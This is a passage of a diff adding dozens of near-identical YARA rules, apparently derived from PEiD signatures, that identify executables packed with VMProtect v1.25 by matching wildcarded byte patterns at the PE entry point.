+        $a at pe.entry_point
+}
+
+rule PEiD_03173_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03174_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03175_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03176_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03177_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03178_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03179_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03180_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03181_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03182_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03183_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03184_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03185_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 46 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03186_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03187_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 46 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03188_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03189_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03190_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03191_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 66 89 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03192_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03193_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 C6 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03194_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03195_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 83 EE FF 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03196_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03197_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03198_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03199_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 88 14 07 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03200_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03201_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C5 02 8D 76 01 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03202_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03203_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 C6 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03204_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03205_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 83 EE FF 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03206_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03207_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 8B 55 00 8D 76 01 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03208_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 46 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03209_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 C6 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03210_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 83 EE FF 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03211_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 8D 76 01 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03212_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 46 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03213_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 C6 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03214_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 46 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03215_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 C6 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03216_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 83 EE FF 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03217_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03218_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03219_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03220_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03221_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 ED 04 8D 76 01 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03222_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 83 EE FF 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03223_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 66 98 98 8D 76 01 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03224_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03225_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03226_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03227_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+rule PEiD_03228_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03229_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 C6 01 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03230_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03231_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03232_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03233_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03234_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03235_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03236_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03237_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03238_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03239_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 66 89 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03240_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 8B 55 00 83 C5 02 88 14 07 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03241_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 66 98 98 83 ED 04 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03242_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03243_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 83 EE FF 8A 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03244_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 46 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03245_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 C6 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03246_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 46 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03247_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 46 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03248_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 C6 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03249_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 83 EE FF E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03250_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 66 89 45 00 8D 76 01 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03251_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 C6 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03252_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 83 EE FF 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03253_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 ED 02 8D 76 01 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03254_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 83 EE FF 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03255_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8A 04 07 8D 76 01 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03256_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
+        $a = {68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8A 06 8D 76 01 66 8B 04 07 83 ED 02 66 89 45 00 E9}
+    condition:
+        $a at pe.entry_point
+}
+
+rule PEiD_03257_VMProtect_v1_25____PolyTech_
+{
+    meta:
+        description = "[VMProtect v1.25 -> PolyTech]"
+        ep_only = "true"
+    strings:
